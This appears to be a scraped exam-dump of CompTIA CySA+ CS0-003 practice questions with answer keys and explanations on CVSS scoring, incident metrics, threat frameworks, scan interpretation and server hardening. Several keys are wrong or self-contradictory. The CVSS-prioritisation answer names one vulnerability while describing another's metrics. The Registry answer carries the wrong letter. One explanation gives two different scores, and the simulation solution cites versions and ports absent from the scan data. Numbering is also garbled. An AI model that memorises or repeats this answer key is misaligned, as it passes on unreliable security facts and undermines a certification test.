



CompTIA

Exam Questions CS0-003

CompTIA CySA+ Certification Beta Exam

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NEW QUESTION 1

A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero-day threat?

- A. CVSS: 31/AV: N/AC: L/PR: N/UI: N/S: U/C: H/I: K/A: L
- B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
- C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H
- D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H

Answer: A

Explanation:

This answer matches the description of the zero-day threat. The attack vector is network (AV:N), the attack complexity is low (AC:L), no privileges are required (PR:N), no user interaction is required (UI:N), the scope is unchanged (S:U), the confidentiality and integrity impacts are high (C:H/I:H), and the availability impact is low (A:L). Official References: <https://nvd.nist.gov/vuln-metrics/cvss>

NEW QUESTION 2

The Chief Executive Officer (CEO) has notified that a confidential trade secret has been compromised. Which of the following communication plans should the CEO initiate?

- A. Alert department managers to speak privately with affected staff.
- B. Schedule a press release to inform other service provider customers of the compromise.
- C. Disclose to all affected parties in the Chief Operating Officer for discussion and resolution.
- D. Verify legal notification requirements of PII and SPII in the legal and human resource departments.

Answer: A

Explanation:

The CEO should initiate an alert to department managers to speak privately with affected staff. This is because the trade secret is confidential and should not be disclosed to the public. Additionally, the CEO should verify legal notification requirements of PII and SPII in the legal and human resource departments to ensure compliance with data protection laws.

References: CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition, Chapter 4, "Data Protection and Privacy Practices", page 194; CompTIA CySA+ Certification Exam Objectives Version 4.0, Domain 4.0 "Compliance and Assessment", Objective 4.1 "Given a scenario, analyze data as part of a security incident", Sub-objective "Data classification levels", page 23

NEW QUESTION 3

An organization has tracked several incidents that are listed in the following table:

Start time	Detection time	Time elapsed in minutes
7:20 a.m.	10:30 a.m.	180
12:00 a.m.	2:30 a.m.	150
9:25 a.m.	12:15 p.m.	170
3:25 p.m.	5:45 p.m.	140

Which of the following is the organization's MTTD?

- A. 140
- B. 150
- C. 160
- D. 180

Answer: C

Explanation:

The MTTD (Mean Time To Detect) is calculated by averaging the time elapsed in detecting incidents. From the given data: $(180+150+170+140)/4 = 160$ minutes. This is the correct answer according to the CompTIA CySA+ CS0-003 Certification Study Guide1, Chapter 4, page 161. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4, page 153; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4, page 161.

NEW QUESTION 4

After completing a review of network activity, the threat hunting team discovers a device on the network that sends an outbound email via a mail client to a non-company email address daily at 10:00 p.m. Which of the following is potentially occurring?

- A. Irregular peer-to-peer communication
- B. Rogue device on the network
- C. Abnormal OS process behavior
- D. Data exfiltration

Answer: D

Explanation:

Data exfiltration is the theft or unauthorized transfer or movement of data from a device or network. It can occur as part of an automated attack or manually, on-site or through an internet connection, and involve various methods. It can affect personal or corporate data, such as sensitive or confidential information. Data

exfiltration can be prevented or detected by using compression, encryption, authentication, authorization, and other controls¹

The network activity shows that a device on the network is sending an outbound email via a mail client to a non-company email address daily at 10:00 p.m. This could indicate that the device is compromised by malware or an insider threat, and that the email is used to exfiltrate data from the network to an external party. The email could contain attachments, links, or hidden data that contain the stolen information. The timing of the email could be designed to avoid detection by normal network monitoring or security systems.

NEW QUESTION 5

A security analyst reviews the latest vulnerability scans and observes there are vulnerabilities with similar CVSSv3 scores but different base score metrics. Which of the following attack vectors should the analyst remediate first?

- A. CVSS 3.0/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- B. CVSS 3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- C. CVSS 3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- D. CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Answer: C

Explanation:

CVSS 3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H is the attack vector that the analyst should remediate first, as it has the highest CVSSv3 score of 8.1. CVSSv3 (Common Vulnerability Scoring System version 3) is a standard framework for rating the severity of vulnerabilities, based on various metrics that reflect the characteristics and impact of the vulnerability. The CVSSv3 score is calculated from three groups of metrics: Base, Temporal, and Environmental. The Base metrics are mandatory and reflect the intrinsic qualities of the vulnerability, such as how it can be exploited, what privileges are required, and what impact it has on confidentiality, integrity, and availability. The Temporal metrics are optional and reflect the current state of the vulnerability, such as whether there is a known exploit, a patch, or a workaround. The Environmental metrics are also optional and reflect the context of the vulnerability in a specific environment, such as how it affects the asset value, security requirements, or mitigating controls. The Base metrics produce a score ranging from 0 to 10, which can then be modified by scoring the Temporal and Environmental metrics. A CVSS score is also represented as a vector string, a compressed textual representation of the values used to derive the score.

The attack vector in question has the following Base metrics:

? Attack Vector (AV): Network (N). This means that the vulnerability can be exploited remotely over a network connection.

? Attack Complexity (AC): Low (L). This means that the attack does not require any special conditions or changes to the configuration of the target system.

? Privileges Required (PR): Low (L). This means that the attacker needs some privileges on the target system to exploit the vulnerability, such as user-level access.

? User Interaction (UI): None (N). This means that the attack does not require any user action or involvement to succeed.

? Scope (S): Unchanged (U). This means that the impact of the vulnerability is confined to the same security authority as the vulnerable component, such as an application or an operating system.

? Confidentiality Impact (C): High (H). This means that the vulnerability results in a total loss of confidentiality, such as unauthorized disclosure of all data on the system.

? Integrity Impact (I): High (H). This means that the vulnerability results in a total loss of integrity, such as unauthorized modification or deletion of all data on the system.

? Availability Impact (A): High (H). This means that the vulnerability results in a total loss of availability, such as denial of service or system crash.

Using these metrics, we can calculate the Base score using this formula: Base Score = Roundup(Minimum[(Impact + Exploitability), 10])

Where:

Impact = $6.42 \times [1 - ((1 - \text{Confidentiality}) \times (1 - \text{Integrity}) \times (1 - \text{Availability}))]$ Exploitability = $8.22 \times \text{Attack Vector} \times \text{Attack Complexity} \times \text{Privileges Required} \times \text{User Interaction}$

Using this formula, we get:

Impact = $6.42 \times [1 - ((1 - 0.56) \times (1 - 0.56) \times (1 - 0.56))] = 5.9$

Exploitability = $8.22 \times 0.85 \times 0.77 \times 0.62 \times 0.85 = 2.8$

Base Score = Roundup(Minimum[(5.9 + 2.8), 10]) = Roundup(8.7) = 8.8

Therefore, this attack vector has a Base score of 8.8, which is higher than any other option. The other attack vectors have lower Base scores, as they have different values for some of the Base metrics:

? CVSS:3.0/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.2, as it

has a lower value for Attack Vector (Physical), which means that the vulnerability can only be exploited by having physical access to the target system.

? CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 7.4, as it

has a lower value for Attack Vector (Adjacent Network), which means that the vulnerability can only be exploited by being on the same physical or logical network as the target system.

? CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.8, as it has

a lower value for Attack Vector (Local), which means that the vulnerability can only be exploited by having local access to the target system, such as through a terminal or a command shell.

NEW QUESTION 6

An incident response team finished responding to a significant security incident. The management team has asked the lead analyst to provide an after-action report that includes lessons learned. Which of the following is the most likely reason to include lessons learned?

- A. To satisfy regulatory requirements for incident reporting
- B. To hold other departments accountable
- C. To identify areas of improvement in the incident response process
- D. To highlight the notable practices of the organization's incident response team

Answer: C

Explanation:

The most likely reason to include lessons learned in an after-action report is to identify areas of improvement in the incident response process. The lessons learned process is a way of reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying areas of improvement in the incident response process can help enhance the security posture, readiness, or capability of the organization for future incidents, as well as provide feedback or recommendations on how to address any issues or challenges.

NEW QUESTION 7

A Chief Information Security Officer wants to map all the attack vectors that the company faces each day. Which of the following recommendations should the company align their security controls around?

- A. OSSTMM
- B. Diamond Model Of Intrusion Analysis
- C. OWASP
- D. MITRE ATT&CK

Answer: D

Explanation:

The correct answer is D. MITRE ATT&CK.

MITRE ATT&CK is a framework that maps the tactics, techniques, and procedures (TTPs) of various threat actors and groups, based on real-world observations and data. MITRE ATT&CK can help a Chief Information Security Officer (CISO) to map all the attack vectors that the company faces each day, as well as to align their security controls around the most relevant and prevalent threats. MITRE ATT&CK can also help the CISO to assess the effectiveness and maturity of their security posture, as well as to identify and prioritize the gaps and improvements .

The other options are not the best recommendations for mapping all the attack vectors that the company faces each day. OSSTMM (Open Source Security Testing Methodology Manual) (A) is a methodology that provides guidelines and best practices for conducting security testing and auditing, but it does not map the TTPs of threat actors or groups. Diamond Model of Intrusion Analysis (B) is a model that analyzes the relationships and interactions between four elements of an intrusion: adversary, capability, infrastructure, and victim. The Diamond Model can help understand the characteristics and context of an intrusion, but it does not map the TTPs of threat actors or groups. OWASP (Open Web Application Security Project) © is a project that provides resources and tools for improving the security of web applications, but it does not map the TTPs of threat actors or groups.

NEW QUESTION 8

A Chief Information Security Officer wants to implement security by design, starting vulnerabilities, including SQL injection, FRI, XSS, etc. Which of the following would most likely meet the requirement?

- A. Reverse engineering
- B. Known environment testing
- C. Dynamic application security testing
- D. Code debugging

Answer: C

Explanation:

Dynamic Application Security Testing (DAST) is used to detect vulnerabilities in running applications, including common issues like SQL injection, FRI, XSS, etc. It aligns with the goal of implementing security by design.

NEW QUESTION 9

A recent penetration test discovered that several employees were enticed to assist attackers by visiting specific websites and running downloaded files when prompted by phone calls. Which of the following would best address this issue?

- A. Increasing training and awareness for all staff
- B. Ensuring that malicious websites cannot be visited
- C. Blocking all scripts downloaded from the internet
- D. Disabling all staff members' ability to run downloaded applications

Answer: A

Explanation:

Increasing training and awareness for all staff is the best way to address the issue of employees being enticed to assist attackers by visiting specific websites and running downloaded files when prompted by phone calls. This issue is an example of social engineering, which is a technique that exploits human psychology and behavior to manipulate people into performing actions or divulging information that benefit the attackers. Social engineering can take many forms, such as phishing, vishing, baiting, quid pro quo, or impersonation. The best defense against social engineering is to educate and train the staff on how to recognize and avoid common social engineering tactics, such as:

- ? Verifying the identity and legitimacy of the caller or sender before following their instructions or clicking on any links or attachments
- ? Being wary of unsolicited or unexpected requests for information or action, especially if they involve urgency, pressure, or threats
- ? Reporting any suspicious or anomalous activity to the security team or the appropriate authority
- ? Following the organization's policies and procedures on security awareness and best practices

Official References:

- ? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
- ? <https://www.comptia.org/certifications/cybersecurity-analyst>
- ? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

NEW QUESTION 10

A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region. Which of the following shell script functions could help achieve the goal?

- A. `function w() { a=$(ping -c 1 $1 | awk-F "/" 'END{print $1}') && echo "$1 | $a" }`
- B. `function x() { b=traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $b" }`
- C. `function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print$1}').origin.asn.cymru.com TXT +short }`
- D. `function z() { c=$(geoipllookup$1) && echo "$1 | $c" }`

Answer: C

Explanation:

The shell script function that could help identify possible network addresses from different source networks belonging to the same company and region is:

```
function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1}').origin.asn.cymru.com TXT +short }
```

This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address, such as the country code, registry, or allocation date. The function then prints the IP address and the ASN information, which can help identify any network addresses that belong to the same ASN or region

NEW QUESTION 10

A security analyst is performing vulnerability scans on the network. The analyst installs a scanner appliance, configures the subnets to scan, and begins the scan of the network.

Which of the following would be missing from a scan performed with this configuration?

- A. Operating system version
- B. Registry key values
- C. Open ports
- D. IP address

Answer: B

Explanation:

Registry key values would be missing from a scan performed with this configuration, as the scanner appliance would not have access to the Windows Registry of the scanned systems. The Windows Registry is a database that stores configuration settings and options for the operating system and installed applications. To scan the Registry, the scanner would need to have credentials to log in to the systems and run a local agent or script. The other items would not be missing from the scan, as they can be detected by the scanner appliance without credentials. Operating system version can be identified by analyzing service banners or fingerprinting techniques. Open ports can be discovered by performing a port scan or sending probes to common ports. IP address can be obtained by resolving the hostname or using network discovery tools. <https://attack.mitre.org/techniques/T1112/>

NEW QUESTION 15

Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach?

- A. Determine the sophistication of the audience that the report is meant for
- B. Include references and sources of information on the first page
- C. Include a table of contents outlining the entire report
- D. Decide on the color scheme that will effectively communicate the metrics

Answer: A

Explanation:

The best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach is to determine the sophistication of the audience that the report is meant for. The sophistication of the audience refers to their level of technical knowledge, understanding, or interest in cybersecurity topics. Determining the sophistication of the audience can help tailor the report content, language, tone, and format to suit their needs and expectations. For example, a report for executive management may be more concise, high-level, and business-oriented than a report for technical staff or peers.

NEW QUESTION 16

SIMULATION

You are a cybersecurity analyst tasked with interpreting scan data from Company A's servers. You must verify the requirements are being met for all of the servers and recommend changes if you find they are not.

The company's hardening guidelines indicate the following:

- TLS 1.2 is the only version of TLS running.
- Apache 2.4.18 or greater should be used.
- Only default ports should be used.

INSTRUCTIONS

using the supplied data, record the status of compliance with the company's guidelines for each server.

The question contains two parts: make sure you complete Part 1 and Part 2. Make recommendations for issues based ONLY on the hardening guidelines provided.

Part 1: AppServ1:

```
AppServ1 AppServ2 AppServ3 AppServ4

root@INFOSEC:~# curl --head appsrv1.fictionalorg.com:443

HTTP/1.1 200 OK
Date: Wed, 26 Jun 2019 21:15:15 GMT
Server: Apache/2.4.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c407930177d"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv1.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv1.fictionalorg.com (10.21.4.68)
Host is up (0.042s latency).
rDNS record for 10.21.4.68: inaddrArpa.fictionalorg.com
PORT      STATE SERVICE

```

```
root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv1.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv1.fictionalorg.com (10.21.4.68)
Host is up (0.042s latency).
|_ TLS_RSA_WITH_AES_256_GCM_SHA384 - strong
|_ compressors:
|_ NULL
|_ least strength: strong

Nmap done: 1 IP address (1 host up) scanned in 8.63 seconds

root@INFOSEC:~# nmap --top-ports 10 appsrv1.fictionalorg.com

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-27 10:13 CDT

Nmap scan report for appsrv1.fictionalorg.com (10.21.4.68)
Host is up (0.15s latency).
rDNS record for 10.21.4.68: appsrv1.fictionalorg.com
PORT      STATE SERVICE
80/tcp    open  http
```

AppServ2:

```
AppServ1 AppServ2 AppServ3 AppServ4

HTTP/1.1 200 OK
Date: Wed, 26 Jun 2019 21:15:15 GMT
Server: Apache/2.3.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c407930177d"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv2.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv2.fictionalorg.com (10.21.4.69)
Host is up (0.042s latency).
rDNS record for 10.21.4.69: inaddrArpa.fictionalorg.com
Not shown: 998 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
```

AppServ3:

```
AppServ1 AppServ2 AppServ3 AppServ4

HTTP/1.1 200 OK
Date: Wed, 26 Jun 2019 21:15:15 GMT
Server: Apache/2.4.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c406780177e"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv3.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv3.fictionalorg.com (10.21.4.70)
Host is up (0.042s latency).
rDNS record for 10.21.4.70: inaddrArpa.fictionalorg.com
PORT      STATE SERVICE
80/tcp    open  http
443/tcp   open  https
```

AppServ4:

```
AppServ1 AppServ2 AppServ3 AppServ4
SERVER: Apache/2.4.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c406780177e"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv4.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv4.fictionalorg.com (10.21.4.71)
Host is up (0.042s latency).
rDNS record for 10.21.4.71: inaddrArpa.fictionalorg.com
Not shown: 998 filtered ports
PORT      STATE SERVICE
443/tcp   open  https
| TLSv1.2:
|   ciphers:
|     TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
2:30:26 |     TLS_RSA_WITH_AES_128_CBC_SHA - strong
|     TLS_RSA_WITH_AES_128_GCM_SHA256 - strong
```

Compliance Report

Fill out the following report based on your analysis of the scan data.

- AppServ1 is only using TLS 1.2
- AppServ2 is only using TLS 1.2
- AppServ3 is only using TLS 1.2
- AppServ4 is only using TLS 1.2
- AppServ1 is using Apache 2.4.18 or greater
- AppServ2 is using Apache 2.4.18 or greater
- AppServ3 is using Apache 2.4.18 or greater
- AppServ4 is using Apache 2.4.18 or greater

Part 2:

Configuration Change Recommendations

+ Add Recommendation for AppSrv4 ▾

- AppSrv1
- AppSrv2
- AppSrv3
- AppSrv4**

Server AppSrv4 ▾

- AppSrv3
- AppSrv2
- AppSrv4**
- AppSrv1

Service ▾

- HTTPD Security**
- TELNET
- SSH
- MYSQL
- Apache Version

Config Change ▾

- Move to Port 443**
- Restrict To TLS 1.2
- Upgrade Version
- Move to Port 22
- Remove or Disable

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:
Part 1:

Compliance Report

Fill out the following report based on your analysis of the scan data.

AppServ1 is only using TLS 1.2

AppServ2 is only using TLS 1.2

AppServ3 is only using TLS 1.2

AppServ4 is only using TLS 1.2

AppServ1 is using Apache 2.4.18 or greater

AppServ2 is using Apache 2.4.18 or greater

AppServ3 is using Apache 2.4.18 or greater

AppServ4 is using Apache 2.4.18 or greater

Part 2:

Based on the compliance report, I recommend the following changes for each server: AppServ1: No changes are needed for this server.

AppServ2: Disable or upgrade TLS 1.0 and TLS 1.1 to TLS 1.2 on this server to ensure secure encryption and communication between clients and the server.

Update Apache from version 2.4.17 to version 2.4.18 or greater on this server to fix any potential vulnerabilities or bugs.

AppServ3: Downgrade Apache from version 2.4.19 to version 2.4.18 or lower on this server to ensure compatibility and stability with the company's applications and policies. Change the port number from 8080 to either port 80 (for HTTP) or port 443 (for HTTPS) on this server to follow the default port convention and avoid any confusion or conflicts with other services.

AppServ4: Update Apache from version 2.4.16 to version 2.4.18 or greater on this server to fix any potential vulnerabilities or bugs. Change the port number from 8443 to either port 80 (for HTTP) or port 443 (for HTTPS) on this server to follow the default port convention and avoid any confusion or conflicts with other services.

NEW QUESTION 20

Following a recent security incident, the Chief Information Security Officer is concerned with improving visibility and reporting of malicious actors in the environment. The goal is to reduce the time to prevent lateral movement and potential data exfiltration. Which of the following techniques will best achieve the improvement?

- A. Mean time to detect
- B. Mean time to respond
- C. Mean time to remediate
- D. Service-level agreement uptime

Answer: A

Explanation:

Mean time to detect (MTTD) is a metric that measures how quickly an organization can identify a security incident or a malicious actor in the environment. Reducing MTTD can improve visibility and reporting of threats, as well as prevent lateral movement and data exfiltration by detecting them sooner.

NEW QUESTION 24

Which of the following is a useful tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence?

- A. Risk register
- B. Vulnerability assessment
- C. Penetration test
- D. Compliance report

Answer: A

Explanation:

A risk register is a useful tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence. A risk register is a document that records the details of all the risks identified in a project or an organization, such as their sources, causes, consequences, probabilities, impacts, and mitigation strategies. A risk register can help the security team to prioritize the risks based on their severity and urgency, and to monitor and control them.

throughout the project or the organization's lifecycle¹². A vulnerability assessment, a penetration test, and a compliance report are all methods or outputs of identifying and evaluating the threats and vulnerabilities, but they are not tools for mapping, tracking, and mitigating them³⁴⁵. References: What is a Risk Register? | Smartsheet, Risk Register: Definition & Example, Vulnerability Assessment vs. Penetration Testing: What's the Difference?, What is a Penetration Test and How Does It Work?, What is a Compliance Report? | Definition, Types, and Examples

NEW QUESTION 27

A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization. Which of the following will produce the data needed for the briefing?

- A. Firewall logs
- B. Indicators of compromise
- C. Risk assessment
- D. Access control lists

Answer: B

Explanation:

Indicators of compromise (IoCs) are pieces of data or evidence that suggest a system or network has been compromised by an attacker or malware. IoCs can include IP addresses, domain names, URLs, file hashes, registry keys, network traffic patterns, user behaviors, or system anomalies. IoCs can be used to detect, analyze, and respond to security incidents, as well as to share threat intelligence with other organizations or authorities. IoCs can produce the data needed for an executive briefing on possible threats to the organization, as they can provide information on the source, nature, scope, impact, and mitigation of the threats.

NEW QUESTION 29

A company recently removed administrator rights from all of its end user workstations. An analyst uses CVSSv3.1 exploitability metrics to prioritize the vulnerabilities for the workstations and produces the following information:

Vulnerability name	CVSSv3.1 exploitability metrics
sweet.bike	AV:N AC:H PR:H UI:R
vote.4p	AV:N AC:H PR:H UI:N
nessie.explosion	AV:L AC:L PR:H UI:R
great.skills	AV:N AC:L PR:N UI:N

Which of the following vulnerabilities should be prioritized for remediation?

- A. nessie.explosion
- B. vote.4p
- C. sweet.bike
- D. great.skills

Answer: A

Explanation:

nessie.explosion should be prioritized for remediation, as it has the highest CVSSv3.1 exploitability score of 8.6. The exploitability score is a sub-score of the CVSSv3.1 base score, which reflects the ease and technical means by which the vulnerability can be exploited. The exploitability score is calculated based on four metrics: Attack Vector, Attack Complexity, Privileges Required, and User Interaction. The higher the exploitability score, the more likely and feasible the vulnerability is to be exploited by an attacker¹². nessie.explosion has the highest exploitability score because it has the lowest values for all four metrics: Network (AV:N), Low (AC:L), None (PR:N), and None (UI:N). This means that the vulnerability can be exploited remotely over the network, without requiring any user interaction or privileges, and with low complexity. Therefore, nessie.explosion poses the greatest threat to the end user workstations, and should be remediated first. vote.4p, sweet.bike, and great.skills have lower exploitability scores because they have higher values for some of the metrics, such as Adjacent Network (AV:A), High (AC:H), Low (PR:L), or Required (UI:R). This means that the vulnerabilities are more difficult or less likely to be exploited, as they require physical proximity, user involvement, or some privileges³⁴. References: CVSS v3.1 Specification Document - FIRST, NVD - CVSS v3 Calculator, CVSS v3.1 User Guide - FIRST, CVSS v3.1 Examples - FIRST

NEW QUESTION 31

A systems analyst is limiting user access to system configuration keys and values in a Windows environment. Which of the following describes where the analyst can find these configuration items?

- A. confi
- B. ini
- C. ntds.dit
- D. Master boot record
- E. Registry

Answer: D

Explanation:

The correct answer is D. Registry.

The registry is a database that stores system configuration keys and values in a Windows environment. The registry contains information about the hardware, software, users, and preferences of the system. The registry can be accessed and modified using the Registry Editor tool (regedit.exe) or the command-line tool (reg.exe). The registry is organized into five main sections, called hives, which are further divided into subkeys and values.

The other options are not the best descriptions of where the analyst can find system configuration keys and values in a Windows environment. config.ini (A) is a file that stores configuration settings for some applications, but it is not a database that stores system configuration keys and values. ntds.dit (B) is a file that stores the Active Directory data for a domain controller, but it is not a database that stores system configuration keys and values. Master boot record © is a section of the hard disk that contains information about the partitions and the boot loader, but it is not a database that stores system configuration keys and values.

NEW QUESTION 33

Which of following would best mitigate the effects of a new ransomware attack that was not properly stopped by the company antivirus?

- A. Install a firewall.
- B. Implement vulnerability management.
- C. Deploy sandboxing.
- D. Update the application blocklist.

Answer: C

Explanation:

Sandboxing is a technique that isolates potentially malicious programs or files in a controlled environment, preventing them from affecting the rest of the system. It can help mitigate the effects of a new ransomware attack by preventing it from encrypting or deleting important data or spreading to other devices. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 202; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 210.

NEW QUESTION 34

A security analyst obtained the following table of results from a recent vulnerability assessment that was conducted against a single web server in the environment:

Finding	Impact	Credential required?	Complexity
Self-signed certificate in use	High	No	High
Old copyright date	Low	No	N/A
All user input accepted on forms	High	No	Low
Full error messages displayed	Medium	No	Low
Control panel login open to public	High	Yes	Medium

Which of the following should be completed first to remediate the findings?

- A. Ask the web development team to update the page contents
- B. Add the IP address allow listing for control panel access
- C. Purchase an appropriate certificate from a trusted root CA
- D. Perform proper sanitization on all fields

Answer: D

Explanation:

The first action that should be completed to remediate the findings is to perform proper sanitization on all fields. Sanitization is a process that involves validating, filtering, or encoding any user input or data before processing or storing it on a system or application. Sanitization can help prevent various types of attacks, such as cross-site scripting (XSS), SQL injection, or command injection, that exploit unsanitized input or data to execute malicious scripts, commands, or queries on a system or application. Performing proper sanitization on all fields can help address the most critical and common vulnerability found during the vulnerability assessment, which is XSS.

NEW QUESTION 37

Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?

- A. MITRE ATTACK
- B. Cyber Kill Cham
- C. OWASP
- D. STIXTAXII

Answer: A

Explanation:

MITRE ATT&CK is a framework and knowledge base that describes the tactics, techniques, and procedures (TTPs) used by various adversaries in cyberattacks. MITRE ATT&CK can help security analysts compare TTPs between different known adversaries of an organization, as well as identify patterns, gaps, or trends in adversary behavior. MITRE ATT&CK can also help security analysts improve threat detection, analysis, and response capabilities, as well as share threat intelligence with other organizations or communities

NEW QUESTION 39

An organization would like to ensure its cloud infrastructure has a hardened configuration. A requirement is to create a server image that can be deployed with a secure template. Which of the following is the best resource to ensure secure configuration?

- A. CIS Benchmarks
- B. PCI DSS
- C. OWASP Top Ten
- D. ISO 27001

Answer: A

Explanation:

The best resource to ensure secure configuration of cloud infrastructure is A. CIS Benchmarks. CIS Benchmarks are a set of prescriptive configuration recommendations for various technologies, including cloud providers, operating systems, network devices, and server software. They are developed by a global community of cybersecurity experts and help organizations protect their systems against threats more confidently. PCI DSS, OWASP Top Ten, and ISO 27001 are also important standards for information security, but they are not focused on providing specific guidance for hardening cloud infrastructure. PCI DSS is a compliance scheme for payment card transactions, OWASP Top Ten is a list of common web application security risks, and ISO 27001 is a framework for establishing and maintaining an information security management system. These standards may have some relevance for cloud security, but they are not as comprehensive and detailed as CIS Benchmarks

NEW QUESTION 43

Given the following CVSS string- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/3:U/C:K/I:K/A:H
Which of the following attributes correctly describes this vulnerability?

- A. A user is required to exploit this vulnerability.
- B. The vulnerability is network based.
- C. The vulnerability does not affect confidentiality.
- D. The complexity to exploit the vulnerability is high.

Answer: B

Explanation:

The vulnerability is network based is the correct attribute that describes this vulnerability, as it can be inferred from the CVSS string. CVSS stands for Common Vulnerability Scoring System, which is a framework that assigns numerical scores and ratings to vulnerabilities based on their characteristics and severity. The CVSS string consists of several metrics that define different aspects of the vulnerability, such as the attack vector, the attack complexity, the privileges required, the user interaction, the scope, and the impact on confidentiality, integrity and availability. The first metric in the CVSS string is the attack vector (AV), which indicates how the vulnerability can be exploited. The value of AV in this case is N, which stands for network. This means that the vulnerability can be exploited remotely over a network connection, without physical or logical access to the target system. Therefore, the vulnerability is network based. Official References:
? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
? <https://www.comptia.org/certifications/cybersecurity-analyst>
? <https://packitforwarding.com/index.php/2019/01/10/comptia-cysa-common-vulnerability-scoring-system-cvss/>

NEW QUESTION 48

A SOC analyst identifies the following content while examining the output of a debugger command over a client-server application: getconnection (database01, "alpha " , "AXTV. 127GdCx94GTd") ; Which of the following is the most likely vulnerability in this system?

- A. Lack of input validation
- B. SQL injection
- C. Hard-coded credential
- D. Buffer overflow attacks

Answer: C

Explanation:

The most likely vulnerability in this system is hard-coded credential. Hard-coded credential is a practice of embedding or storing a username, password, or other sensitive information in the source code or configuration file of a system or application. Hard-coded credential can pose a serious security risk, as it can expose the system or application to unauthorized access, data theft, or compromise if the credential is discovered or leaked by an attacker. Hard-coded credential can also make it difficult to change or update the credential if needed, as it may require modifying the code or file and redeploying the system or application.

NEW QUESTION 52

During an internal code review, software called "ACE" was discovered to have a vulnerability that allows the execution of arbitrary code. The vulnerability is in a legacy, third-party vendor resource that is used by the ACE software. ACE is used worldwide and is essential for many businesses in this industry. Developers informed the Chief Information Security Officer that removal of the vulnerability will take time. Which of the following is the first action to take?

- A. Look for potential IoCs in the company.
- B. Inform customers of the vulnerability.
- C. Remove the affected vendor resource from the ACE software.
- D. Develop a compensating control until the issue can be fixed permanently.

Answer: D

Explanation:

